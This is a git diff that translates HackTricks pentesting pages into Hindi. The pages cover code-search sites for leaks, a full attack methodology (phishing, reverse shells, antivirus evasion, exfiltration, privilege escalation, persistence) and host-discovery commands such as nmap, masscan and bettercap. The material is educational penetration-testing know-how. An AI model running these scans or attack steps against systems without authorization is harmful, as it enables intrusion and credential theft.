**प्लेटफार्मों की गणना करना है जो कोड** (शाब्दिक या regex) को हजारों/लाखों रिपोजिटरी में एक या एक से अधिक प्लेटफार्मों में खोजने की अनुमति देते हैं। -This helps in several occasions to **search for leaked information** or for **vulnerabilities** patterns. +यह कई अवसरों पर **लीक की गई जानकारी** या **कमजोरियों** के पैटर्न खोजने में मदद करता है। -- [**SourceGraph**](https://sourcegraph.com/search): Search in millions of repos. There is a free version and an enterprise version (with 15 days free). It supports regexes. -- [**Github Search**](https://github.com/search): Search across Github. It supports regexes. - - Maybe it's also useful to check also [**Github Code Search**](https://cs.github.com/). -- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Search across Gitlab projects. Support regexes. -- [**SearchCode**](https://searchcode.com/): Search code in millions of projects. +- [**SourceGraph**](https://sourcegraph.com/search): लाखों रिपोजिटरी में खोजें। इसमें एक मुफ्त संस्करण और एक एंटरप्राइज संस्करण है (15 दिन मुफ्त)। यह regex का समर्थन करता है। +- [**Github Search**](https://github.com/search): Github में खोजें। यह regex का समर्थन करता है। +- शायद [**Github Code Search**](https://cs.github.com/) की जांच करना भी उपयोगी हो। +- [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced_search.html): Gitlab परियोजनाओं में खोजें। regex का समर्थन करता है। +- [**SearchCode**](https://searchcode.com/): लाखों परियोजनाओं में कोड खोजें। > [!WARNING] -> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets! +> जब आप किसी रिपोजिटरी में लीक की तलाश कर रहे हों और कुछ ऐसा चलाते हैं जैसे `git log -p` तो न भूलें कि वहाँ **अन्य शाखाएँ हो सकती हैं जिनमें अन्य कमिट्स** हो सकते हैं जिनमें रहस्य हो सकते हैं! {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index ea6b7f6a7..14afa8dc3 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -2,11 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} ## Pentesting Methodology @@ -14,133 +9,128 @@ If you are interested in **hacking career** and hack the unhackable - **we are h _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ -### 0- Physical Attacks +### 0- भौतिक हमले -Do you have **physical access** to the machine that you want to attack? You should read some [**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md) and others about [**escaping from GUI applications**](../hardware-physical-access/escaping-from-gui-applications.md). +क्या आपके पास उस मशीन तक **भौतिक पहुंच** है जिसे आप हमला करना चाहते हैं? आपको कुछ [**भौतिक हमलों के बारे में तरकीबें**](../hardware-physical-access/physical-attacks.md) और [**GUI अनुप्रयोगों से बचने के बारे में**](../hardware-physical-access/escaping-from-gui-applications.md) पढ़नी चाहिए। -### 1 - [Discovering hosts inside the network ](pentesting-network/#discovering-hosts)/ [Discovering Assets of the company](external-recon-methodology/) +### 1 - [नेटवर्क के अंदर होस्ट का पता लगाना](pentesting-network/#discovering-hosts)/ [कंपनी की संपत्तियों का पता लगाना](external-recon-methodology/) -**Depending** if the **test** you are perform is an **internal or external test** you may be interested on finding **hosts inside the company network** (internal test) or **finding assets of the company on the internet** (external test). +**इस पर निर्भर करता है कि आप जो **परीक्षण** कर रहे हैं वह **आंतरिक या बाहरी परीक्षण** है, आप **कंपनी के नेटवर्क के अंदर होस्ट का पता लगाने** (आंतरिक परीक्षण) या **इंटरनेट पर कंपनी की संपत्तियों का पता लगाने** (बाहरी परीक्षण) में रुचि रख सकते हैं। > [!NOTE] -> Note that if you are performing an external test, once you manage to obtain access to the internal network of the company you should re-start this guide. +> ध्यान दें कि यदि आप एक बाहरी परीक्षण कर रहे हैं, तो एक बार जब आप कंपनी के आंतरिक नेटवर्क तक पहुंच प्राप्त कर लेते हैं, तो आपको इस गाइड को फिर से शुरू करना चाहिए। -### **2-** [**Having Fun with the network**](pentesting-network/) **(Internal)** +### **2-** [**नेटवर्क के साथ मज़े करना**](pentesting-network/) **(आंतरिक)** -**This section only applies if you are performing an internal test.**\ -Before attacking a host maybe you prefer to **steal some credentials** **from the network** or **sniff** some **data** to learn **passively/actively(MitM)** what can you find inside the network. You can read [**Pentesting Network**](pentesting-network/#sniffing). +**यह अनुभाग केवल तब लागू होता है जब आप एक आंतरिक परीक्षण कर रहे हों।**\ +किसी होस्ट पर हमला करने से पहले, शायद आप **नेटवर्क से कुछ क्रेडेंशियल चुराना** या **कुछ डेटा स्निफ़ करना** पसंद करें ताकि आप **पैसिवली/एक्टिवली (MitM)** जान सकें कि आप नेटवर्क के अंदर क्या पा सकते हैं। आप [**Pentesting Network**](pentesting-network/#sniffing) पढ़ सकते हैं। -### 3- [Port Scan - Service discovery](pentesting-network/#scanning-hosts) +### 3- [पोर्ट स्कैन - सेवा खोज](pentesting-network/#scanning-hosts) -The first thing to do when **looking for vulnerabilities in a host** is to know which **services are running** in which ports. Let's see the[ **basic tools to scan ports of hosts**](pentesting-network/#scanning-hosts). +जब **किसी होस्ट में कमजोरियों की तलाश** कर रहे हों, तो सबसे पहले यह जानना है कि कौन सी **सेवाएं चल रही हैं** और कौन से पोर्ट पर। चलिए देखते हैं [**होस्ट के पोर्ट स्कैन करने के लिए बुनियादी उपकरण**](pentesting-network/#scanning-hosts)। -### **4-** [Searching service version exploits](../generic-hacking/search-exploits.md) +### **4-** [सेवा संस्करण शोषण की खोज](../generic-hacking/search-exploits.md) -Once you know which services are running, and maybe their version, you have to **search for known vulnerabilities**. Maybe you get lucky and there is a exploit to give you a shell... +एक बार जब आप जान लेते हैं कि कौन सी सेवाएं चल रही हैं, और शायद उनका संस्करण, तो आपको **ज्ञात कमजोरियों की खोज** करनी होगी। शायद आपको किस्मत मिल जाए और कोई शोषण हो जो आपको एक शेल दे सके... -### **5-** Pentesting Services +### **5-** Pentesting सेवाएं -If there isn't any fancy exploit for any running service, you should look for **common misconfigurations in each service running.** +यदि किसी भी चल रही सेवा के लिए कोई शानदार शोषण नहीं है, तो आपको **प्रत्येक चल रही सेवा में सामान्य गलत कॉन्फ़िगरेशन** की तलाश करनी चाहिए। -**Inside this book you will find a guide to pentest the most common services** (and others that aren't so common)**. Please, search in the left index the** _**PENTESTING**_ **section** (the services are ordered by their default ports). +**इस पुस्तक में आपको सबसे सामान्य सेवाओं का परीक्षण करने के लिए एक गाइड मिलेगा** (और अन्य जो इतनी सामान्य नहीं हैं)**। कृपया, बाईं सूची में **_**PENTESTING**_ **खंड की खोज करें** (सेवाएं उनके डिफ़ॉल्ट पोर्ट के अनुसार क्रमबद्ध हैं)। -**I want to make a special mention of the** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **part (as it is the most extensive one).**\ -Also, a small guide on how to[ **find known vulnerabilities in software**](../generic-hacking/search-exploits.md) can be found here. +**मैं विशेष रूप से** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **भाग का उल्लेख करना चाहता हूं (क्योंकि यह सबसे विस्तृत है)।**\ +इसके अलावा, [**सॉफ़्टवेयर में ज्ञात कमजोरियों को खोजने के लिए एक छोटा गाइड**](../generic-hacking/search-exploits.md) यहाँ पाया जा सकता है। -**If your service is not inside the index, search in Google** for other tutorials and **let me know if you want me to add it.** If you **can't find anything** in Google, perform your **own blind pentesting**, you could start by **connecting to the service, fuzzing it and reading the responses** (if any). +**यदि आपकी सेवा सूची में नहीं है, तो Google में अन्य ट्यूटोरियल की खोज करें और** **मुझे बताएं कि क्या आप चाहते हैं कि मैं इसे जोड़ूं।** यदि आप **Google में कुछ नहीं पा सकते** हैं, तो अपने **स्वयं के ब्लाइंड पेंटेस्टिंग** का प्रदर्शन करें, आप **सेवा से कनेक्ट करने, इसे फज़ करने और प्रतिक्रियाओं को पढ़ने** से शुरू कर सकते हैं (यदि कोई हो)। -#### 5.1 Automatic Tools +#### 5.1 स्वचालित उपकरण -There are also several tools that can perform **automatic vulnerabilities assessments**. **I would recommend you to try** [**Legion**](https://github.com/carlospolop/legion)**, which is the tool that I have created and it's based on the notes about pentesting services that you can find in this book.** +कुछ उपकरण भी हैं जो **स्वचालित कमजोरियों का आकलन** कर सकते हैं। **मैं आपको** [**Legion**](https://github.com/carlospolop/legion)**, जो कि मैंने बनाया है और यह इस पुस्तक में आपको मिलेंगे नोट्स पर आधारित है, आजमाने की सिफारिश करूंगा।** -#### **5.2 Brute-Forcing services** +#### **5.2 ब्रूट-फोर्सिंग सेवाएं** -In some scenarios a **Brute-Force** could be useful to **compromise** a **service**. [**Find here a CheatSheet of different services brute forcing**](../generic-hacking/brute-force.md)**.** +कुछ परिदृश्यों में **ब्रूट-फोर्स** एक **सेवा** को **समझौता** करने के लिए उपयोगी हो सकता है। [**यहां विभिन्न सेवाओं के ब्रूट फोर्सिंग का एक चीटशीट खोजें**](../generic-hacking/brute-force.md)**।** -### 6- [Phishing](phishing-methodology/) +### 6- [फिशिंग](phishing-methodology/) -If at this point you haven't found any interesting vulnerability you **may need to try some phishing** in order to get inside the network. You can read my phishing methodology [here](phishing-methodology/): +यदि इस बिंदु पर आपने कोई दिलचस्प कमजोरी नहीं पाई है, तो आपको नेटवर्क के अंदर जाने के लिए **कुछ फिशिंग करने की कोशिश करनी पड़ सकती है**। आप मेरी फिशिंग पद्धति [यहां](phishing-methodology/) पढ़ सकते हैं: -### **7-** [**Getting Shell**](../generic-hacking/reverse-shells/) +### **7-** [**शेल प्राप्त करना**](../generic-hacking/reverse-shells/) -Somehow you should have found **some way to execute code** in the victim. Then, [a list of possible tools inside the system that you can use to get a reverse shell would be very useful](../generic-hacking/reverse-shells/). +किसी न किसी तरह आपको **शिकार में कोड निष्पादित करने का कोई तरीका** मिल जाना चाहिए। फिर, [आपके द्वारा उपयोग किए जा सकने वाले सिस्टम के अंदर संभावित उपकरणों की एक सूची एक रिवर्स शेल प्राप्त करने के लिए बहुत उपयोगी होगी](../generic-hacking/reverse-shells/)। -Specially in Windows you could need some help to **avoid antiviruses**: [**Check this page**](../windows-hardening/av-bypass.md)**.**\\ +विशेष रूप से Windows में, आपको **एंटीवायरस से बचने** के लिए कुछ मदद की आवश्यकता हो सकती है: [**इस पृष्ठ की जांच करें**](../windows-hardening/av-bypass.md)**।**\\ -### 8- Inside +### 8- अंदर -If you have troubles with the shell, you can find here a small **compilation of the most useful commands** for pentesters: +यदि आपको शेल के साथ समस्याएँ हैं, तो आप यहाँ **पेंटेस्टर्स के लिए सबसे उपयोगी कमांड** का एक छोटा **संकलन** पा सकते हैं: - [**Linux**](../linux-hardening/useful-linux-commands.md) - [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) - [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/) -### **9 -** [**Exfiltration**](../generic-hacking/exfiltration.md) +### **9 -** [**एक्सफिल्ट्रेशन**](../generic-hacking/exfiltration.md) -You will probably need to **extract some data from the victim** or even **introduce something** (like privilege escalation scripts). **Here you have a** [**post about common tools that you can use with these purposes**](../generic-hacking/exfiltration.md)**.** +आपको शायद **शिकार से कुछ डेटा निकालने** या यहां तक कि **कुछ पेश करने** (जैसे विशेषाधिकार वृद्धि स्क्रिप्ट) की आवश्यकता होगी। **यहां आपके पास** [**इन उद्देश्यों के लिए उपयोग किए जा सकने वाले सामान्य उपकरणों के बारे में एक पोस्ट है**](../generic-hacking/exfiltration.md)**।** -### **10- Privilege Escalation** +### **10- विशेषाधिकार वृद्धि** -#### **10.1- Local Privesc** +#### **10.1- स्थानीय प्रिवेस्क** -If you are **not root/Administrator** inside the box, you should find a way to **escalate privileges.**\ -Here you can find a **guide to escalate privileges locally in** [**Linux**](../linux-hardening/privilege-escalation/) **and in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ -You should also check this pages about how does **Windows work**: +यदि आप **बॉक्स के अंदर रूट/व्यवस्थापक नहीं हैं**, तो आपको **विशेषाधिकार बढ़ाने** का एक तरीका खोजना चाहिए।\ +यहां आपको **स्थानीय रूप से विशेषाधिकार बढ़ाने के लिए एक गाइड मिलेगी** [**Linux**](../linux-hardening/privilege-escalation/) **और** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**।**\ +आपको यह पृष्ठ भी देखना चाहिए कि **Windows कैसे काम करता है**: -- [**Authentication, Credentials, Token privileges and UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) -- How does [**NTLM works**](../windows-hardening/ntlm/) -- How to [**steal credentials**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows -- Some tricks about [_**Active Directory**_](../windows-hardening/active-directory-methodology/) +- [**प्रमाणीकरण, क्रेडेंशियल, टोकन विशेषाधिकार और UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) +- [**NTLM कैसे काम करता है**](../windows-hardening/ntlm/) +- Windows में [**क्रेडेंशियल चुराने के लिए**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) कैसे +- [_**एक्टिव डायरेक्टरी**_](../windows-hardening/active-directory-methodology/) के बारे में कुछ तरकीबें -**Don't forget to checkout the best tools to enumerate Windows and Linux local Privilege Escalation paths:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**Windows और Linux स्थानीय विशेषाधिकार वृद्धि पथों को सूचीबद्ध करने के लिए सबसे अच्छे उपकरणों की जांच करना न भूलें:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) -#### **10.2- Domain Privesc** +#### **10.2- डोमेन प्रिवेस्क** -Here you can find a [**methodology explaining the most common actions to enumerate, escalate privileges and persist on an Active Directory**](../windows-hardening/active-directory-methodology/). Even if this is just a subsection of a section, this process could be **extremely delicate** on a Pentesting/Red Team assignment. +यहां आप [**एक पद्धति पा सकते हैं जो सक्रिय निर्देशिका में विशेषाधिकारों को सूचीबद्ध करने, बढ़ाने और स्थायी रूप से बनाए रखने के लिए सबसे सामान्य क्रियाओं को समझाती है**](../windows-hardening/active-directory-methodology/)। भले ही यह केवल एक अनुभाग का उपखंड हो, यह प्रक्रिया **पेंटेस्टिंग/रेड टीम असाइनमेंट** पर **अत्यंत नाजुक** हो सकती है। ### 11 - POST -#### **11**.1 - Looting +#### **11**.1 - लूटना -Check if you can find more **passwords** inside the host or if you have **access to other machines** with the **privileges** of your **user**.\ -Find here different ways to [**dump passwords in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). +जांचें कि क्या आप होस्ट के अंदर अधिक **पासवर्ड** पा सकते हैं या यदि आपके पास **अपने उपयोगकर्ता के विशेषाधिकारों** के साथ **अन्य मशीनों** तक पहुंच है।\ +यहां विभिन्न तरीकों से [**Windows में पासवर्ड डंप करने**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) की खोज करें। -#### 11.2 - Persistence +#### 11.2 - स्थिरता -**Use 2 or 3 different types of persistence mechanism so you won't need to exploit the system again.**\ -**Here you can find some** [**persistence tricks on active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** +**2 या 3 विभिन्न प्रकार के स्थिरता तंत्र का उपयोग करें ताकि आपको फिर से सिस्टम का शोषण करने की आवश्यकता न पड़े।**\ +**यहां आप सक्रिय निर्देशिका पर कुछ** [**स्थिरता तरकीबें**](../windows-hardening/active-directory-methodology/#persistence)** पा सकते हैं।** -TODO: Complete persistence Post in Windows & Linux +TODO: Windows और Linux में स्थिरता पोस्ट पूरा करें -### 12 - Pivoting +### 12 - पिवटिंग -With the **gathered credentials** you could have access to other machines, or maybe you need to **discover and scan new hosts** (start the Pentesting Methodology again) inside new networks where your victim is connected.\ -In this case tunnelling could be necessary. Here you can find [**a post talking about tunnelling**](../generic-hacking/tunneling-and-port-forwarding.md).\ -You definitely should also check the post about [Active Directory pentesting Methodology](../windows-hardening/active-directory-methodology/). There you will find cool tricks to move laterally, escalate privileges and dump credentials.\ -Check also the page about [**NTLM**](../windows-hardening/ntlm/), it could be very useful to pivot on Windows environments.. +**एकत्रित क्रेडेंशियल्स** के साथ, आपके पास अन्य मशीनों तक पहुंच हो सकती है, या शायद आपको **नई मेज़बानों का पता लगाने और स्कैन करने** की आवश्यकता है (पेंटेस्टिंग पद्धति को फिर से शुरू करें) नए नेटवर्क के अंदर जहां आपका शिकार जुड़ा हुआ है।\ +इस मामले में, टनलिंग आवश्यक हो सकती है। यहां आप [**टनलिंग के बारे में एक पोस्ट पा सकते हैं**](../generic-hacking/tunneling-and-port-forwarding.md)।\ +आपको सक्रिय निर्देशिका पेंटेस्टिंग पद्धति के बारे में पोस्ट भी देखनी चाहिए](../windows-hardening/active-directory-methodology/)। वहां आपको पार्श्व रूप से आगे बढ़ने, विशेषाधिकार बढ़ाने और क्रेडेंशियल्स को डंप करने के लिए शानदार तरकीबें मिलेंगी।\ +[**NTLM**](../windows-hardening/ntlm/) के बारे में पृष्ठ की भी जांच करें, यह Windows वातावरण में पिवट करने के लिए बहुत उपयोगी हो सकता है। -### MORE +### अधिक #### [Android Applications](../mobile-pentesting/android-app-pentesting/) -#### **Exploiting** +#### **शोषण** -- [**Basic Linux Exploiting**](broken-reference/) -- [**Basic Windows Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [**Basic exploiting tools**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) +- [**बुनियादी Linux शोषण**](broken-reference/) +- [**बुनियादी Windows शोषण**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) +- [**बुनियादी शोषण उपकरण**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) -#### [**Basic Python**](python/) +#### [**बुनियादी Python**](python/) -#### **Crypto tricks** +#### **क्रिप्टो तरकीबें** - [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) - [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) - [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md) -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index 1f4bb741f..b0ae3c241 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -2,70 +2,57 @@ {{#include ../../banners/hacktricks-training.md}} -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} -## Discovering hosts from the outside +## बाहर से होस्ट खोजने के लिए -This is going to be a **brief section** about how to find **IPs responding** from the **Internet**.\ -In this situation you have some **scope of IPs** (maybe even several **ranges**) and you just to find **which IPs are responding**. +यह **संक्षिप्त अनुभाग** है कि **इंटरनेट** से **प्रतिक्रिया देने वाले IPs** को कैसे खोजें।\ +इस स्थिति में आपके पास कुछ **IP का दायरा** (शायद कई **रेंज** भी) है और आपको बस यह पता करना है कि **कौन से IPs प्रतिक्रिया दे रहे हैं**। ### ICMP -This is the **easiest** and **fastest** way to discover if a host is up or not.\ -You could try to send some **ICMP** packets and **expect responses**. The easiest way is just sending an **echo request** and expect from the response. You can do that using a simple `ping`or using `fping`for **ranges**.\ -You could also use **nmap** to send other types of ICMP packets (this will avoid filters to common ICMP echo request-response). - +यह यह पता लगाने का **सबसे आसान** और **तेज़** तरीका है कि कोई होस्ट चालू है या नहीं।\ +आप कुछ **ICMP** पैकेट भेजने की कोशिश कर सकते हैं और **प्रतिक्रिया की उम्मीद** कर सकते हैं। सबसे आसान तरीका बस एक **इको अनुरोध** भेजना और प्रतिक्रिया की उम्मीद करना है। आप यह एक साधारण `ping` का उपयोग करके या **रेंज** के लिए `fping` का उपयोग करके कर सकते हैं।\ +आप **nmap** का उपयोग करके अन्य प्रकार के ICMP पैकेट भेजने के लिए भी उपयोग कर सकते हैं (यह सामान्य ICMP इको अनुरोध-प्रतिक्रिया के लिए फ़िल्टर से बचने में मदद करेगा)। ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests ``` - ### TCP Port Discovery -It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is **try to find open ports**. Each host has **65535 ports**, so, if you have a "big" scope you **cannot** test if **each port** of each host is open or not, that will take too much time.\ -Then, what you need is a **fast port scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) and a list of the **ports more used:** - +यह बहुत सामान्य है कि सभी प्रकार के ICMP पैकेट फ़िल्टर किए जा रहे हैं। फिर, एक होस्ट के चालू होने की जांच करने के लिए, आप केवल **खुले पोर्ट खोजने** की कोशिश कर सकते हैं। प्रत्येक होस्ट के पास **65535 पोर्ट** होते हैं, इसलिए, यदि आपके पास "बड़ा" दायरा है, तो आप **प्रत्येक पोर्ट** की जांच नहीं कर सकते कि वह खुला है या नहीं, इससे बहुत समय लगेगा।\ +फिर, आपको एक **तेज़ पोर्ट स्कैनर** ([masscan](https://github.com/robertdavidgraham/masscan)) और **सबसे अधिक उपयोग किए जाने वाले पोर्ट्स** की एक सूची की आवश्यकता है: ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 ``` +आप इस चरण को `nmap` के साथ भी कर सकते हैं, लेकिन यह धीमा है और कुछ हद तक `nmap` को होस्ट की पहचान करने में समस्याएँ होती हैं। -You could also perform this step with `nmap`, but it slower and somewhat `nmap`has problems identifying hosts up. - -### HTTP Port Discovery - -This is just a TCP port discovery useful when you want to **focus on discovering HTTP** **services**: +### HTTP पोर्ट खोज +यह केवल एक TCP पोर्ट खोज है जो तब उपयोगी होती है जब आप **HTTP** **सेवाओं** की खोज पर ध्यान केंद्रित करना चाहते हैं: ```bash masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` +### UDP पोर्ट खोज -### UDP Port Discovery - -You could also try to check for some **UDP port open** to decide if you should **pay more attention** to a **host.** As UDP services usually **don't respond** with **any data** to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. The easiest way to decide this is to send a packet related to the running service, and as you don't know which service is running, you should try the most probable based on the port number: - +आप यह भी जांचने की कोशिश कर सकते हैं कि कुछ **UDP पोर्ट खुले** हैं या नहीं ताकि आप तय कर सकें कि आपको **एक होस्ट पर अधिक ध्यान देना चाहिए।** चूंकि UDP सेवाएँ आमतौर पर **कोई डेटा** के साथ **कोई प्रतिक्रिया नहीं देतीं** एक सामान्य खाली UDP प्रॉब पैकेट के लिए, यह कहना मुश्किल है कि कोई पोर्ट फ़िल्टर किया जा रहा है या खुला है। इसे तय करने का सबसे आसान तरीका यह है कि आप चल रही सेवा से संबंधित एक पैकेट भेजें, और चूंकि आप नहीं जानते कि कौन सी सेवा चल रही है, आपको पोर्ट नंबर के आधार पर सबसे संभावित सेवा को आज़माना चाहिए: ```bash nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` +nmap द्वारा प्रस्तावित लाइन हर होस्ट के **/24** रेंज में **शीर्ष 1000 UDP पोर्ट** का परीक्षण करेगी, लेकिन केवल यही करने में **>20min** लगेगा। यदि आपको **तेज़ परिणाम** चाहिए, तो आप [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) का उपयोग कर सकते हैं: `./udp-proto-scanner.pl 199.66.11.53/24` यह इन **UDP प्रॉब्स** को उनके **अपेक्षित पोर्ट** पर भेजेगा (एक /24 रेंज के लिए, यह केवल 1 मिनट लेगा): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ -The nmap line proposed before will test the **top 1000 UDP ports** in every host inside the **/24** range but even only this will take **>20min**. If need **fastest results** you can use [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` This will send these **UDP probes** to their **expected port** (for a /24 range this will just take 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ - -### SCTP Port Discovery - +### SCTP पोर्ट खोज ```bash #Probably useless, but it's pretty fast, why not try it? nmap -T4 -sY -n --open -Pn ``` - ## Pentesting Wifi -Here you can find a nice guide of all the well known Wifi attacks at the time of the writing: +यहाँ आप लेखन के समय के सभी प्रसिद्ध Wifi हमलों का एक अच्छा गाइड पा सकते हैं: {{#ref}} ../pentesting-wifi/ @@ -73,12 +60,11 @@ Here you can find a nice guide of all the well known Wifi attacks at the time of ## Discovering hosts from the inside -If you are inside the network one of the first things you will want to do is to **discover other hosts**. Depending on **how much noise** you can/want to do, different actions could be performed: +यदि आप नेटवर्क के अंदर हैं, तो आप जो पहली चीज करना चाहेंगे वह है **अन्य होस्टों का पता लगाना**। **कितनी आवाज** आप कर सकते हैं/करना चाहते हैं, इसके आधार पर, विभिन्न क्रियाएँ की जा सकती हैं: ### Passive -You can use these tools to passively discover hosts inside a connected network: - +आप इन उपकरणों का उपयोग करके एक जुड़े हुए नेटवर्क के अंदर होस्टों का निष्क्रिय रूप से पता लगा सकते हैं: ```bash netdiscover -p p0f -i eth0 -p -o /tmp/p0f.log @@ -87,12 +73,10 @@ net.recon on/off #Read local ARP cache periodically net.show set net.show.meta true #more info ``` +### सक्रिय -### Active - -Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: - +ध्यान दें कि [_**बाहर से होस्ट का पता लगाना**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP पोर्ट डिस्कवरी_) में टिप्पणी की गई तकनीकों को भी **यहां लागू किया जा सकता है**।\ +लेकिन, चूंकि आप अन्य होस्ट के **समान नेटवर्क** में हैं, आप **अधिक चीजें** कर सकते हैं: ```bash #ARP discovery nmap -sn #ARP Requests (Discover IPs) @@ -112,39 +96,35 @@ set net.probe.throttle 10 #10ms between probes sent (default=10) #IPv6 alive6 # Send a pingv6 to multicast. ``` - ### Active ICMP -Note that the techniques commented in _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) can be also **applied here**.\ -But, as you are in the **same network** as the other hosts, you can do **more things**: +ध्यान दें कि _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) में टिप्पणी की गई तकनीकें भी **यहां लागू की जा सकती हैं**।\ +लेकिन, चूंकि आप अन्य होस्ट के **समान नेटवर्क** में हैं, आप **अधिक चीजें** कर सकते हैं: -- If you **ping** a **subnet broadcast address** the ping should be arrive to **each host** and they could **respond** to **you**: `ping -b 10.10.5.255` -- Pinging the **network broadcast address** you could even find hosts inside **other subnets**: `ping -b 255.255.255.255` -- Use the `-PE`, `-PP`, `-PM` flags of `nmap`to perform host discovery sending respectively **ICMPv4 echo**, **timestamp**, and **subnet mask requests:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` +- यदि आप **subnet broadcast address** को **ping** करते हैं, तो पिंग **प्रत्येक होस्ट** तक पहुंचनी चाहिए और वे **आपको** **उत्तर** दे सकते हैं: `ping -b 10.10.5.255` +- **Network broadcast address** को पिंग करने पर आप **अन्य subnets** के अंदर होस्ट भी ढूंढ सकते हैं: `ping -b 255.255.255.255` +- होस्ट खोज करने के लिए `nmap` के `-PE`, `-PP`, `-PM` फ्लैग का उपयोग करें, जो क्रमशः **ICMPv4 echo**, **timestamp**, और **subnet mask requests** भेजते हैं: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` ### **Wake On Lan** -Wake On Lan is used to **turn on** computers through a **network message**. The magic packet used to turn on the computer is only a packet where a **MAC Dst** is provided and then it is **repeated 16 times** inside the same paket.\ -Then this kind of packets are usually sent in an **ethernet 0x0842** or in a **UDP packet to port 9**.\ -If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and the broadcast MAC will be the one being repeated). - +Wake On Lan का उपयोग कंप्यूटरों को **नेटवर्क संदेश** के माध्यम से **चालू करने** के लिए किया जाता है। कंप्यूटर को चालू करने के लिए उपयोग किया जाने वाला जादुई पैकेट केवल एक पैकेट है जिसमें एक **MAC Dst** प्रदान किया गया है और फिर इसे **एक ही पैकेट** के अंदर **16 बार दोहराया** जाता है।\ +फिर इस प्रकार के पैकेट आमतौर पर **ethernet 0x0842** में या **UDP पैकेट को पोर्ट 9** में भेजे जाते हैं।\ +यदि **कोई \[MAC]** प्रदान नहीं किया गया है, तो पैकेट **broadcast ethernet** पर भेजा जाता है (और ब्रॉडकास्ट MAC वही होगा जो दोहराया जाएगा)। ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw 